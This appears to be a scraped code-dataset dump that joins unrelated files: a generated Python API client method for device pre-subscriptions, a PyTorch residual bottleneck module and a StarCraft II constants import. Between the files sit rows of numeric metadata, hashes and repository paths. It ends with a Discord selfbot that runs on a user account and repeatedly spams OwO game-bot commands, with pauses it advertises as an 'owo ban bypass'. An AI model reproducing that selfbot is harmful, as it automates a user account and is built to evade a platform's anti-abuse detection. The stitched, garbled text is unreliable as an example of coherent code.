"""Set pre-subscriptions # noqa: E501
Pre-subscription is a set of rules and patterns put by the application. When an endpoint registers and its ID, type and registered resources match the pre-subscription data, Device Management Connect sends subscription requests to the device automatically. The pattern may include the endpoint ID (optionally having an `*` character at the end), endpoint type, a list of resources or expressions with an `*` character at the end. Subscriptions based on pre-subscriptions are done when device registers or does register update. To remove the pre-subscription data, put an empty array as a rule. **Notification rules** A web application can place dynamic observation rules for individual Object Instances and Resources to define when the device sends observations. More information in [Notification rules](/docs/current/connecting/resource-change-webapp.html). **Limits**: - The maximum length of the endpoint name and endpoint type is 64 characters. - The maximum length of the resource path is 128 characters. - You can listen to 256 separate resource paths. - The maximum number of pre-subscription entries is 1024. **Example request:** ``` curl -X PUT \\ https://api.us-east-1.mbedcloud.com/v2/subscriptions \\ -H 'authorization: Bearer {api-key}' \\ -H 'content-type: application/json' \\ -d '[ { \"endpoint-name\": \"node-001\", \"resource-path\": [\"/dev\"] }, { \"endpoint-type\": \"Light\", \"resource-path\": [\"/sen/*\"] }, { \"endpoint-name\": \"node*\" }, { \"endpoint-type\": \"Sensor\" }, { \"resource-path\": [\"/dev/temp\",\"/dev/hum\"] } ]' ``` - Subscribe to `/dev` resource of endpoint named `node-001`. - Subscribe to `Light` type of endpoints and their resources prefixed with `/sen/`. - Subscribe to all observable resources of endpoint names prefixed with `node`. - Subscribe to all observable resources of `Sensor` type endpoints. - Subscribe to `/dev/temp` and `/dev/hum` resources of all endpoints. **Note**: For efficiency reasons, you should use resource path patterns in the pre-subscription data. This prevents the notification flow from unwanted resources. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.update_pre_subscriptions_with_http_info(presubsription, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param PresubscriptionArray presubsription: Array of pre-subscriptions. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['presubsription'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_pre_subscriptions" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'presubsription' is set
if ('presubsription' not in params or
params['presubsription'] is None):
raise ValueError("Missing the required parameter `presubsription` when calling `update_pre_subscriptions`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'presubsription' in params:
body_params = params['presubsription']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['text/plain']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/v2/subscriptions', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 52.86692
| 2,298
| 0.646457
| 4,878
| 41,712
| 5.343378
| 0.066626
| 0.033455
| 0.017188
| 0.022099
| 0.965433
| 0.963744
| 0.9601
| 0.954153
| 0.9507
| 0.948437
| 0
| 0.013322
| 0.265799
| 41,712
| 788
| 2,299
| 52.93401
| 0.83778
| 0.48938
| 0
| 0.801887
| 0
| 0
| 0.196657
| 0.06027
| 0
| 0
| 0
| 0
| 0
| 1
| 0.040094
| false
| 0
| 0.009434
| 0
| 0.108491
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8faf578732a61b4ba3a7407a177471ad31b0497e
| 6,109
|
py
|
Python
|
moai/nn/residual/bottleneck.py
|
tzole1155/moai
|
d1afb3aaf8ddcd7a1c98b84d6365afb846ae3180
|
[
"Apache-2.0"
] | 10
|
2021-04-02T11:21:33.000Z
|
2022-01-18T18:32:32.000Z
|
moai/nn/residual/bottleneck.py
|
tzole1155/moai
|
d1afb3aaf8ddcd7a1c98b84d6365afb846ae3180
|
[
"Apache-2.0"
] | 1
|
2022-03-22T20:10:55.000Z
|
2022-03-24T13:11:02.000Z
|
moai/nn/residual/bottleneck.py
|
tzole1155/moai
|
d1afb3aaf8ddcd7a1c98b84d6365afb846ae3180
|
[
"Apache-2.0"
] | 3
|
2021-05-16T20:47:40.000Z
|
2021-12-01T21:15:36.000Z
|
import moai.nn.convolution as mic
import moai.nn.activation as mia
import torch
__all__ = [
"Bottleneck",
"PreResBottleneck",
"PreActivBottleneck",
]
'''
Bottleneck versions with 3 convolutions (2 projections, 1 bottleneck)
'''
class Bottleneck(torch.nn.Module):
def __init__(self,
convolution_type: str,
activation_type: str,
in_features: int,
out_features: int,
bottleneck_features: int,
convolution_params: dict,
activation_params: dict,
strided: bool,
):
super(Bottleneck, self).__init__()
self.W1 = mic.make_conv_1x1(
convolution_type=convolution_type,
in_channels=in_features,
out_channels=bottleneck_features,
stride=2 if strided else 1,
**convolution_params
)
self.A1 = mia.make_activation(
features=bottleneck_features,
activation_type=activation_type,
**activation_params
)
self.W2 = mic.make_conv_3x3(
convolution_type=convolution_type,
in_channels=bottleneck_features,
out_channels=bottleneck_features,
**convolution_params
)
self.A2 = mia.make_activation(
features=bottleneck_features,
activation_type=activation_type,
**activation_params
)
self.W3 = mic.make_conv_1x1(
convolution_type=convolution_type,
in_channels=bottleneck_features,
out_channels=out_features,
**convolution_params
)
self.A3 = mia.make_activation(
features=out_features,
activation_type=activation_type,
**activation_params
)
self.S = torch.nn.Identity() if in_features == out_features\
else mic.make_conv_1x1(
convolution_type=convolution_type,
in_channels=in_features,
out_channels=out_features,
**convolution_params,
# using a 3x3 conv for shortcut downscaling instead of a 1x1 (used in detectron2 for example)
) if not strided else mic.make_conv_3x3(
convolution_type=convolution_type,
in_channels=in_features,
out_channels=out_features,
stride=2,
**convolution_params,
)
def forward(self, x: torch.Tensor) -> torch.Tensor:
y = self.W3(self.A2(self.W2(self.A1(self.W1(x))))) # y = W3 * A2(W2 * A1(W1 * x))
return self.A3(self.S(x) + y) # out = A3(S(x) + y)
class PreResBottleneck(Bottleneck):
def __init__(self,
convolution_type: str,
activation_type: str,
in_features: int,
out_features: int,
bottleneck_features: int,
convolution_params: dict,
activation_params: dict,
strided: bool,
):
super(PreResBottleneck, self).__init__(
convolution_type=convolution_type,
activation_type=activation_type,
in_features=in_features,
out_features=out_features,
bottleneck_features=bottleneck_features,
convolution_params=convolution_params,
activation_params=activation_params,
strided=strided
)
def forward(self, x: torch.Tensor) -> torch.Tensor:
y = self.A3(self.W3(self.A2(self.W2(self.A1(self.W1(x)))))) # y = A3(W3 * A2(W2 * A1(W1 * x)))
return self.S(x) + y # out = S(x) + y
class PreActivBottleneck(torch.nn.Module):
def __init__(self,
convolution_type: str,
activation_type: str,
in_features: int,
out_features: int,
bottleneck_features: int,
convolution_params: dict,
activation_params: dict,
strided: bool,
):
super(PreActivBottleneck, self).__init__()
self.A1 = mia.make_activation(
features=in_features,
activation_type=activation_type,
**activation_params
)
self.W1 = mic.make_conv_1x1(
convolution_type=convolution_type,
in_channels=in_features,
out_channels=bottleneck_features,
stride=2 if strided else 1,
**convolution_params
)
self.A2 = mia.make_activation(
features=bottleneck_features,
activation_type=activation_type,
**activation_params
)
self.W2 = mic.make_conv_3x3(
convolution_type=convolution_type,
in_channels=bottleneck_features,
out_channels=bottleneck_features,
**convolution_params
)
self.A3 = mia.make_activation(
features=bottleneck_features,
activation_type=activation_type,
**activation_params
)
self.W3 = mic.make_conv_1x1(
convolution_type=convolution_type,
in_channels=bottleneck_features,
out_channels=out_features,
**convolution_params
)
self.S = torch.nn.Identity() if in_features == out_features\
else mic.make_conv_1x1(
convolution_type=convolution_type,
in_channels=in_features,
out_channels=out_features,
**convolution_params,
# using a 3x3 conv for shortcut downscaling instead of a 1x1 (used in detectron2 for example)
) if not strided else mic.make_conv_3x3(
convolution_type=convolution_type,
in_channels=in_features,
out_channels=out_features,
stride=2,
**convolution_params,
)
def forward(self, x: torch.Tensor) -> torch.Tensor:
y = self.W3(self.A3(self.W2(self.A2(self.W1(self.A1(x)))))) # y = W3 * A3(W2 * A2(W1 * A1(x)))
return self.S(x) + y # out = x + y
| 35.935294
| 109
| 0.57489
| 630
| 6,109
| 5.277778
| 0.107937
| 0.112782
| 0.093835
| 0.099248
| 0.82406
| 0.821053
| 0.811128
| 0.804211
| 0.762105
| 0.753383
| 0
| 0.021701
| 0.343755
| 6,109
| 169
| 110
| 36.147929
| 0.807683
| 0.053037
| 0
| 0.737179
| 0
| 0
| 0.007732
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.038462
| false
| 0
| 0.019231
| 0
| 0.096154
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8fcdc8a5ddd1c3b9c46bd4240713e5fb8106c7ac
| 147
|
py
|
Python
|
sc2/constants.py
|
Olaf-G/Bachelor-s-Degree
|
d367051d9f1ff867cf433abc6a9789ac256505a3
|
[
"MIT"
] | 7
|
2018-07-15T06:03:42.000Z
|
2021-08-22T20:23:26.000Z
|
sc2/constants.py
|
Olaf-G/Bachelor-s-Degree
|
d367051d9f1ff867cf433abc6a9789ac256505a3
|
[
"MIT"
] | null | null | null |
sc2/constants.py
|
Olaf-G/Bachelor-s-Degree
|
d367051d9f1ff867cf433abc6a9789ac256505a3
|
[
"MIT"
] | 11
|
2018-07-28T18:16:49.000Z
|
2021-01-16T15:13:06.000Z
|
from .ids.ability_id import *
from .ids.buff_id import *
from .ids.effect_id import *
from .ids.unit_typeid import *
from .ids.upgrade_id import *
| 24.5
| 30
| 0.761905
| 25
| 147
| 4.28
| 0.4
| 0.327103
| 0.485981
| 0.420561
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.136054
| 147
| 5
| 31
| 29.4
| 0.84252
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
8fe79eb8932fe0b5402e9dbf7625081f56bbb367
| 23,864
|
py
|
Python
|
main.py
|
bywakko/owoautofarm
|
8612f38bcf0c384b0727f3f8a7bb5f7e7d790a5d
|
[
"BSL-1.0"
] | null | null | null |
main.py
|
bywakko/owoautofarm
|
8612f38bcf0c384b0727f3f8a7bb5f7e7d790a5d
|
[
"BSL-1.0"
] | null | null | null |
main.py
|
bywakko/owoautofarm
|
8612f38bcf0c384b0727f3f8a7bb5f7e7d790a5d
|
[
"BSL-1.0"
] | null | null | null |
import discord
from discord.ext import commands
import colorama
from colorama import Fore
import asyncio
import os
#-----SETUP-----#
prefix = "!!"
#use the .env feature to hide your token
token = os.getenv("TOKEN")
#---------------#
bot = commands.Bot(command_prefix=prefix,
help_command=None,
case_insensitive=True,
self_bot=True)
@bot.event
async def on_ready():
activity = discord.Game(name="fullu owo ban bypass made by Ari.#6435", type=4)
await bot.change_presence(status=discord.Status.idle, activity=activity)
print(f'''{Fore.RED}
██╗░░██╗███████╗██████╗░██╗
██║░░██║██╔════╝██╔══██╗██║
███████║█████╗░░██████╔╝██║
██╔══██║██╔══╝░░██╔═══╝░██║
██║░░██║███████╗██║░░░░░██║
╚═╝░░╚═╝╚══════╝╚═╝░░░░░╚═╝{Fore.RED}
▒ ░░ ░░ ▒░ ░░ ▒▓ ░▒▓░░ ▒░
░ ░ ░ ░ ░▒ ░ ▒░░
░ ░ ░░ ░ ░
░ ░ ░
{Fore.GREEN}
________ ________ ___
|\ __ \|\ __ \|\ \
\ \ \|\ \ \ \|\ \ \ \
\ \ __ \ \ _ _\ \ \
\ \ \ \ \ \ \\ \\ \ \ ___
\ \__\ \__\ \__\\ _\\ \__\\__\
\|__|\|__|\|__|\|__|\|__\|__|
___ ________ ___ ___ _______ ________ ________ ________ ________ _____ ______ _____ ______ ___ ___ ________ ___ _________ ___ ___ _______ ________
|\ \ |\ __ \|\ \ / /|\ ___ \ |\ __ \|\ ____\ |\ ____\|\ __ \|\ _ \ _ \|\ _ \ _ \|\ \|\ \|\ ___ \|\ \|\___ ___\ |\ \ / /| / ___ \ |\ __ \
\ \ \ \ \ \|\ \ \ \ / / | \ __/|\ \ \|\ \ \ \___|_ \ \ \___|\ \ \|\ \ \ \\\__\ \ \ \ \\\__\ \ \ \ \\\ \ \ \\ \ \ \ \|___ \ \_| \ \ \/ / / /__/|_/ /| \ \ \|\ \
\ \ \ \ \ \\\ \ \ \/ / / \ \ \_|/_\ \ _ _\ \_____ \ \ \ \ \ \ \\\ \ \ \\|__| \ \ \ \\|__| \ \ \ \\\ \ \ \\ \ \ \ \ \ \ \ \ \ / / |__|// / / \ \ \\\ \
\ \ \____\ \ \\\ \ \ / / \ \ \_|\ \ \ \\ \\|____|\ \ \ \ \____\ \ \\\ \ \ \ \ \ \ \ \ \ \ \ \ \\\ \ \ \\ \ \ \ \ \ \ \ \/ / / / /_/__ __\ \ \\\ \
\ \_______\ \_______\ \__/ / \ \_______\ \__\\ _\ ____\_\ \ \ \_______\ \_______\ \__\ \ \__\ \__\ \ \__\ \_______\ \__\\ \__\ \__\ \ \__\__/ / / |\________\\__\ \_______\
\|_______|\|_______|\|__|/ \|_______|\|__|\|__|\_________\ \|_______|\|_______|\|__| \|__|\|__| \|__|\|_______|\|__| \|__|\|__| \|__|\___/ / \|_______\|__|\|_______|
selfbot is ready!
''')
@bot.command()
async def help(ctx):
embed = discord.Embed(
title="<:bot_tick:870672785322676224>Help AutoOwO<:bot_tick:870672785322676224>",
color=420699,
description=
f":arrow_right: **{prefix}autoOwO**\nowoh, owo sell all, owo flip 500 and owo cash 50 seconds.\n\n**:arrow_right: {prefix}stopautoOwO**\nstops autoOwO.\n\n**:arrow_right: {prefix}Owobanbypass**\nIts prevent you from banning Owo by taking appropriate time\n Example:-`the bot takes breaak 5 min of runnning 1st break= 5min,2nd break=10min 3rd break=15min` \n\n made by Ari.6435"
)
embed.set_thumbnail(
url=
"https://cdn.discordapp.com/icons/856358420385759293/a_c9bb8d2dd31eae42a2a9d6efc010e1bc.png"
)
await ctx.send(embed=embed)
@bot.command(pass_context=True)
async def autoOwO(ctx):
await ctx.message.delete()
await ctx.send('auto OwO is now **enabled**!')
global dmcs
dmcs = True
while dmcs:
async with ctx.typing():
await asyncio.sleep(5)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(10)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
@bot.command()
async def stopautoOwO(ctx):
await ctx.message.delete()
await ctx.send('auto OwO Magi is now **disabled**!')
global dmcs
dmcs = False
@bot.command(pass_context=True)
async def Owobanbypass(ctx):
await ctx.message.delete()
await ctx.send('owobanbypass is now **enabled**!')
global dmcs
dmcs = True
while dmcs:
async with ctx.typing():
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(8)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(10)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await asyncio.sleep(5)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(10)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(11)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(14)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(18)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(12)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(9)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(10)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(5)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(17)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(12)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(15)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(9)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(14)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(14)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(300)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(8)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(14)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(10)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await asyncio.sleep(5)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(10)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(11)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(14)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(18)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(12)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(9)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(18)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(4)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(12)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(16)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(14)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(4)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(11)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(11)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(900)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(8)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(14)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(10)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await asyncio.sleep(5)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(10)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(11)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(14)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(18)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(12)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(9)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(18)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(4)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(12)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(16)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(14)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(4)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(11)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(11)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(900)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(8)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(10)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await asyncio.sleep(5)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(10)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(11)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(14)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(18)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(12)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(9)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(10)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(5)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(17)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(12)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(15)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(15)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(9)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(13)
await ctx.send('owoh')
print(f"{Fore.GREEN}succefully owoh")
await asyncio.sleep(14)
await ctx.send('owo sell all')
print(f"{Fore.GREEN}succefully sell")
await ctx.send('owo flip 500')
print(f"{Fore.GREEN}succefully owo flip 500")
await asyncio.sleep(14)
await ctx.send('owo cash')
print(f"{Fore.GREEN}succefully cash")
await asyncio.sleep(1200)
# @bot.command()
# async def stopautoOwO(ctx):
# await ctx.message.delete()
# await ctx.send('auto OwO Magi is now **disabled**!')
# global dmcs
# dmcs = False
bot.run(token, bot=False)
| 42.998198
| 385
| 0.484663
| 2,536
| 23,864
| 4.457808
| 0.06388
| 0.111101
| 0.162406
| 0.196373
| 0.896241
| 0.893056
| 0.893056
| 0.887483
| 0.884299
| 0.884299
| 0
| 0.036449
| 0.384931
| 23,864
| 554
| 386
| 43.075812
| 0.720193
| 0.009764
| 0
| 0.865854
| 0
| 0.01626
| 0.429297
